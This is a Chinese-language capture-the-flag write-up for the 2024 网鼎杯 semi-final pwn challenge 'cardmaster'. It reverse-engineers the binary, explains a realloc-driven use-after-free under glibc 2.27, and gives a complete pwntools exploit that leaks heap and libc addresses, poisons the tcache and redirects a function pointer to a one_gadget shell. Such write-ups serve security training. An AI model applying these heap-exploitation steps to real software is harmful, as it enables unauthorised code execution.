[2024网鼎杯半决赛]pwn-cardmaster
顾一莘 发表于 美国 CTF 356浏览 · 2024-11-24 12:50

前言

程序使用rand函数模拟洗牌,同时可以通过程序设置、获取卡牌信息,也可以重新初始化或进行随机,考点其实很简单,主要是逆向逆的头大,逆向占了大半的时间,最后是青龙组第十个写出来的,比赛的时候还有很多没逆明白纯乱试出来的。本题的考察点是2.27使用realloc造成的uaf,同时在管理结构中存在get功能的函数指针,攻击思路就是利用uaf修改函数指针为ogg从而getshell

逆向分析

main

使用srand设置随机化种子为0xDEADBEEF,使用init_card初始化卡牌并且返回管理结构的堆指针给card_manager,下面进入循环通过用户输入选择功能对card_manager进行操作,存在initsetgetshuffleshow这五个功能

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int choice; // [rsp+Ch] [rbp-14h] BYREF
  manager *card_manager; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  srand(0xDEADBEEF);
  init_0();
  menu();
  card_manager = init_card();
  while ( 1 )
  {
    while ( 1 )
    {
      write(1, ">> ", 3uLL);
      __isoc99_scanf("%d", &choice);
      if ( choice != 1 )
        break;
      card_manager = init_card();
    }
    switch ( choice )
    {
      case 2:
        set(card_manager);
        break;
      case 3:                                   // get
        (card_manager->func)(card_manager);
        break;
      case 4:
        shuffle(card_manager);
        break;
      case 5:
        show(card_manager);
        break;
      default:
        puts("invalid");
        exit(0);
    }
  }
}

init_card

初始化卡牌,创建了card_managerheap_manager并进行相关初始化

_QWORD *init_card()
{
  unsigned __int64 *current_heap; // rbx
  int index; // [rsp+0h] [rbp-20h]
  int i; // [rsp+4h] [rbp-1Ch]
  manager *card_manager; // [rsp+8h] [rbp-18h]

  card_manager = malloc(0x28uLL);
  card_manager->heap_manager = malloc(0x20uLL);
  for ( index = 0; index <= 3; ++index )
  {
    current_heap = &card_manager->heap_manager[index];
    *current_heap = malloc(0xD0uLL);
    for ( i = 0; i <= 12; ++i )
    {
      *(card_manager->heap_manager[index] + 0x10LL * i) = index;
      *(card_manager->heap_manager[index] + 0x10LL * i + 8) = i + 1;// 1-13
    }
  }
  card_manager->card_len = 4;
  card_manager->heap_size = 13;
  card_manager->card = card;
  card_manager->func = output_func;
  card_manager->random_level = 0x3E8LL;
  return &card_manager->card_len;
}

其中card_manager的结构体如下,存在cardfuncheap_manager三个指针和card_lenheap_sizerandom_level三个参数

00000000 struct manager // sizeof=0x28
00000000 {
00000000     unsigned __int32 card_len;
00000004     unsigned __int32 heap_size;
00000008     unsigned __int64 random_level;
00000010     unsigned __int64 card;
00000018     unsigned __int64 func;
00000020     unsigned __int64 *heap_manager;
00000028 };
  • card指针指向的地址中存在卡牌的所有花色,花色的种类数量是card_len,初始值为4,初始花色是data段的♥♠♦♣
  • heap_manager指向堆管理地址,保存了卡牌的位置和花色,初始堆的数量是13,每个堆的大小等于heap_size * 0x10
  • random_level设置了随机化等级,在后续随机化函数会用到,初始值为0x3e8
  • func指向一个输出函数,初始值是程序段的output_func
void __fastcall output_func(manager *manager)
{
  printf("suit count is %d\n", manager->card_len);
  printf("digit range: 1 - %d\n", manager->heap_size);
  printf("suit chara set:%s\n", manager->card);
  printf("randomize level:%lld\n", manager->random_level);
}

gdb中结构如下,0x555555605250-0x555555605280card_manager0x555555605260存放了heap_sizecard_len0x555555605260存放了random_level0x555555605270-0x555555605280cardfuncheap_manager的地址,0x555555605288开始是heap_manager,存放了每个堆块的地址

pwndbg> x/20gx 0x555555605250
0x555555605250: 0x0000000000000000  0x0000000000000031
0x555555605260: 0x0000000d00000004  0x00000000000003e8  #heap_size  card_len    random_level
0x555555605270: 0x0000555555602010  0x0000555555400d31  #card   func
0x555555605280: 0x0000555555605290  0x0000000000000031  #heap_manager
0x555555605290: 0x00005555556052c0  0x00005555556053a0  #heap_addr
0x5555556052a0: 0x0000555555605480  0x0000555555605560

set

set函数由用户自定义了卡牌信息

ssize_t __fastcall set(manager *card_manager)
{
  unsigned __int64 *current_heap; // rbx
  ssize_t result; // rax
  int index; // [rsp+10h] [rbp-20h]
  signed __int32 i; // [rsp+14h] [rbp-1Ch]
  void *card_address; // [rsp+18h] [rbp-18h]

  printf("suit count:");
  __isoc99_scanf("%d", card_manager);
  printf("digit range 1 - ?");
  __isoc99_scanf("%d", &card_manager->heap_size);
  printf("randomize level:");
  __isoc99_scanf("%lld", &card_manager->random_level);
  if ( card_manager->card == card )
    card_address = malloc(4 * card_manager->card_len);
  else
    card_address = realloc(card_manager->card, 4 * card_manager->card_len);
  card_manager->heap_manager = realloc(card_manager->heap_manager, 8LL * card_manager->card_len);
  for ( index = 0; ; ++index )
  {
    result = card_manager->card_len;
    if ( index >= result )
      break;
    result = card_manager->heap_size;
    if ( !result )
      break;
    current_heap = &card_manager->heap_manager[index];
    *current_heap = malloc(16LL * card_manager->heap_size);
    for ( i = 0; i < card_manager->heap_size; ++i )
    {
      *(card_manager->heap_manager[index] + 16LL * i) = index;
      *(card_manager->heap_manager[index] + 16LL * i + 8) = i + 1;
    }
  }
  if ( card_address )
  {
    card_manager->card = card_address;
    printf("new suite set:");
    return read(0, card_manager->card, 4 * card_manager->card_len);
  }
  return result;
}
  • 由用户输入了card_lenheap_sizerandom_level
  • 创建card堆块
    • 当前card_manager中的card值与data段的card值相同的时候使用malloc创建长度为4 * card_lencard堆块
    • 不同的时候使用realloc调整堆块的大小为4 * card_len
  • 使用realloc调整堆管理结构大小为8 * card_len
  • 循环创建数量为card_len的堆块,堆块大小为输入的heap_size,并且在堆块中存放位置和花色
  • 设置card_manager中的card的地址为创建的card堆块地址

其中realloccard_len0的时候存在uaf漏洞

get

该功能调用的card_manager中的func函数对堆中的内容进行输出,包括card_lenheap_sizecard内容、random_level,其中card可修改为堆指针,存在内存泄露

case 3:                                   // get
        (card_manager->func)(card_manager);
        break;

运行结果如下

$./pwn
   CARD MASTER
  1. init card set
  2. set info
  3. get info
  4. shuffle!
  5. show cards
>> 3
suit count is 4
digit range: 1 - 13
suit chara set:♥♠♦♣
randomize level:1000

show

该功能用于输出所有卡牌的位置和花色

nsigned __int64 __fastcall show(manager *card_manager)
{
  signed __int32 v2; // [rsp+10h] [rbp-1B0h]
  signed __int32 j; // [rsp+10h] [rbp-1B0h]
  int v4; // [rsp+14h] [rbp-1ACh]
  int i; // [rsp+18h] [rbp-1A8h]
  signed __int32 k; // [rsp+18h] [rbp-1A8h]
  int v7; // [rsp+1Ch] [rbp-1A4h]
  _DWORD v8[102]; // [rsp+20h] [rbp-1A0h]
  unsigned __int64 v9; // [rsp+1B8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  v2 = 0;
  v4 = 0;
  while ( v2 < card_manager->card_len )
  {
    v7 = 0;
    for ( i = 128; (i & *(card_manager->card + v4)) != 0; i /= 2 )
      ++v7;
    if ( v7 > 4 )
    {
      puts("invalid suit table!");
      exit(0);
    }
    v8[v2] = v4;
    v8[v2 + 52] = v7;
    v4 += v7;
    v2 += v7 != 0;
  }
  for ( j = 0; j < card_manager->card_len; ++j )
  {
    for ( k = 0; k < card_manager->heap_size; ++k )
    {
      write(
        1,
        (v8[*(16LL * k + card_manager->heap_manager[j])] + card_manager->card),
        v8[*(16LL * k + card_manager->heap_manager[j]) + 52]);
      printf(" %2lld ", *(16LL * k + card_manager->heap_manager[j] + 8));
    }
    puts(&byte_14EB);
  }
  return __readfsqword(0x28u) ^ v9;
}

运行结果如下

$./pwn
   CARD MASTER
  1. init card set
  2. set info
  3. get info
  4. shuffle!
  5. show cards
>> 512345678910111213123456789101112131234567891011121312345678910111213

shuffle

shuffle函数主要是对卡牌内容使用rand函数进行随机化,随机等级为random_level,这个功能其实没什么用主要是迎合题目的标题吧

__int64 __fastcall shuffle(manager *card_manager)
{
  _QWORD *v1; // rax
  __int64 *v2; // rdx
  _QWORD *v3; // rcx
  __int64 v4; // rax
  __int64 v5; // rdx
  _QWORD *v6; // rcx
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-24h]
  signed __int32 v9; // [rsp+20h] [rbp-20h]
  signed __int32 v10; // [rsp+24h] [rbp-1Ch]
  signed __int32 v11; // [rsp+28h] [rbp-18h]
  signed __int32 v12; // [rsp+2Ch] [rbp-14h]
  __int64 v13; // [rsp+30h] [rbp-10h]
  __int64 v14; // [rsp+38h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    result = card_manager->random_level;
    if ( i >= result )
      break;
    v9 = rand() % card_manager->card_len;
    v10 = rand() % card_manager->card_len;
    v11 = rand() % card_manager->heap_size;
    v12 = rand() % card_manager->heap_size;
    v1 = (16LL * v11 + card_manager->heap_manager[v9]);
    v13 = *v1;
    v14 = v1[1];
    v2 = (card_manager->heap_manager[v10] + 16LL * v12);
    v3 = v1;
    v4 = *v2;
    v5 = v2[1];
    *v3 = v4;
    v3[1] = v5;
    v6 = (card_manager->heap_manager[v10] + 16LL * v12);
    *v6 = v13;
    v6[1] = v14;
  }
  return result;
}

运行结果如下

$./pwn
   CARD MASTER
  1. init card set
  2. set info
  3. get info
  4. shuffle!
  5. show cards
>> 4
>> 512611121362113111247975310768159131311142124103213958886121031049517

攻击利用

大致思路是通过setcard设置成一个堆地址,再释放掉从而残留堆地址,再通过get函数泄露堆地址,同理创建一个很大的堆直接释放到unsorted bin中泄露libc地址,最后通过tcache bin attackcard_manager中的funcogg调用get功能即可getshell

泄露堆地址

先通过set使card变成堆地址,由于初始的card就是data段的data所以会通过比较进行malloc创建一个0x3fc4 * card_len)的card_manager堆块,同时创建heap_manager堆,大小为0x7f88 * card_len),在后面会创建0xff个大小为0x20的堆块

set_content(0xff, 1, 0, b'a' * 0xff)

利用card_len0时候造成reallocuaf将创建的card堆块释放进tcache bin,且堆内容是堆地址,同时heap_manager堆块也被释放进了unsorted bin

set_content(0, 0, 0, 0)
set_content(0, 0, 0, 0)

bin中结构如下

tcachebins
0x30 [  1]: 0x565395e50290 ◂— 0x0
0x410 [  2]: 0x565395e50640 ◂— 0x565395e50640

最后利用uaf通过get函数泄露card得到堆里的地址

get()
r.recvuntil(b'set:')
heap_address = u64(r.recv(6)[-6:].ljust(8, b'\x00'))

泄露结果如下,其中suit chara set中就是堆地址

suit count is 0
digit range: 1 - 0
suit chara set:@\x96J<\x95U
randomize level:0

泄露libc地址

再次init初始化card_manager再使用set重新创建card堆块,使得堆块从unsorted bin中取,有残留的libc地址

init()
set_content(0, 0, 0, 0)

get()
libc = ELF('./2.27-3/libc-2.27.so')
libc_base = get_libc() - 0x3ebca0

改func地址

通过动态调试获取card_manager中的func地址与heap_address之间的偏移,再通过uaf改该地址的值为ogg,最后再使用get功能调用func

get()
libc = ELF('./2.27-3/libc-2.27.so')
libc_base = get_libc() - 0x3ebca0

func = heap_address  + 0x37c8
init()
init()
init()

set_content(0x40, 0, 0, b'a' * 0xff)
set_content(0, 0, 0, 0)
set_content(0x40, 0, 0, p64(func))

init()
set_content(0x40, 0, 0, b'a' * 0xff)
set_content(0x40, 0, 0, b'a' * 0xff)

init()
one = [0x4f2c5, 0x4f322, 0x4f322, 0xe5858, 0xe585f, 0xe5863, 0x10a38c, 0x10a398]
ogg = one[6] + libc_base
set_content(0x40, 0, 0, p64(ogg))
get()

exp

有些是赛场猜着写的其实没必要,但不想重写了,能打通,大家复现照着上面思路能打通就好

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('173.41.49.110', 8888)
else:
    r = process(file_name)

def dbg():
    gdb.attach(r)

def get_libc():
    return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def init():
    r.sendlineafter(b'>>', b'1')

def set_content(card_size, range_num, level, card):
    r.sendlineafter(b'>>', b'2')
    r.sendlineafter(b'count', str(card_size))
    r.sendlineafter(b'range', str(range_num))
    r.sendlineafter(b'level', str(level))
    if card:
        r.sendafter(b'set', card)

def get():
    r.sendlineafter(b'>>', b'3')

def shuffle():
    r.sendlineafter(b'>>', b'4')

def show():
    r.sendlineafter(b'>>', b'5')

set_content(0xff, 1, 0, b'a' * 0xff)
set_content(0, 0, 0, 0)
set_content(0, 0, 0, 0)

get()
r.recvuntil(b'set:')
heap_address = u64(r.recv(6)[-6:].ljust(8, b'\x00'))

addr = heap_address - 0x3d0
set_content(0x8, 1, 1, p64(addr + 0x100))

init()
set_content(0, 0, 0, 0)

get()
libc = ELF('./2.27-3/libc-2.27.so')
libc_base = get_libc() - 0x3ebca0

func = heap_address  + 0x37c8
init()
init()
init()

set_content(0x40, 0, 0, b'a' * 0xff)
set_content(0, 0, 0, 0)
set_content(0x40, 0, 0, p64(func))

init()
set_content(0x40, 0, 0, b'a' * 0xff)
set_content(0x40, 0, 0, b'a' * 0xff)

init()
one = [0x4f2c5, 0x4f322, 0x4f322, 0xe5858, 0xe585f, 0xe5863, 0x10a38c, 0x10a398]
ogg = one[6] + libc_base
set_content(0x40, 0, 0, p64(ogg))
get()

r.interactive()
0 条评论
某人
表情
可输入 255